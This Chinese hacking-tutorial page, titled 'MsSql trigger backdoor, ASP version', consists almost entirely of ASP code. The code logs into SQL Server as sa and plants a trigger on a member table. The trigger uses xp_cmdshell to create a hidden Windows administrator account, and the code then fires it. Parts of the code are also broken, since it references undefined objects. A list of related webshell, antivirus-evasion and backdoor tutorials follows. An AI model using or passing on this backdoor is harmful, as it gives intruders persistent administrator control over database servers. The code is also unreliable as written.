手机
当前位置:查字典教程网 >网络安全 >黑客教程 >MsSql 触发器后门asp版
MsSql 触发器后门asp版
摘要:复制代码代码如下:

复制代码代码如下:

<%

'里边的变量代码大家用时自己改吧

On Error Resume next

Set conn=Server.CreateObject("ADODB.Connection")

DSN="driver={SQL Server};Server=(Local)GSQL;database=baby;uid=sa;pwd=lcx;"

conn.Open DSN

if conn.State=1 then

response.write("成功")

sql="CREATE TRIGGER myasp_bkdoor"&Chr(10)&Chr(13)&"ON users_member"&Chr(10)&Chr(13)&"AFTER UPDATE"&Chr(10)&Chr(13)&"AS"&Chr(10)&Chr(13)&"IF user='dbo' OR user='sa'"&Chr(10)&Chr(13)&"BEGIN"&Chr(10)&Chr(13)&"PRINT 'dbo OR sa logon'"&Chr(10)&Chr(13)&"EXEC master..xp_cmdshell'net user test 123456 /add&&net localgroup administrators test /add'"&Chr(10)&Chr(13)&"END"&Chr(10)&Chr(13)&"ELSE"&Chr(10)&Chr(13)&"BEGIN"&Chr(10)&Chr(13)&"PRINT 'not dbo or sa privilage'"&Chr(10)&Chr(13)&"END"&Chr(10)&Chr(13) '建立myasp_bkdoor触发器,触发baby库中的users_member表的update操作加用户

SQL1="update users_member set email=3 where accountid=1" '触发

'sql2="drop TRIGGER myasp_bkdoor"

set rs=conn.execute(SQL)&conn.execute(SQL1,iRowsAffected, &H0001)'&conn.execute(SQL2) '触发

Do Until Rs.EOF

Response.Write " <tr>" & vbNewLine

For I = 0 To Rs.Fields.Count - 1

Response.Write "<td>" & SQLOut(oRs(I)) & "</td>" & vbNewLine

Next

Response.Write " </tr>" & vbNewLine

Rs.MoveNext

Loop

else

response.write("失败")

end if

%>

【MsSql 触发器后门asp版】相关文章:

菜鸟拿WebShell的经验

sqlmap用户手册[续篇]

任意组合指令达到免杀

批处理也疯狂

SqlMap用户手册

Google 黑客搜索技巧

按5次shift 键后门 利用方法

详解简单的反黑客远程控制的方法(后门程序)

黑客常用词汇集 入门必看!

用ASP脚本命令重启服务器

精品推荐
分类导航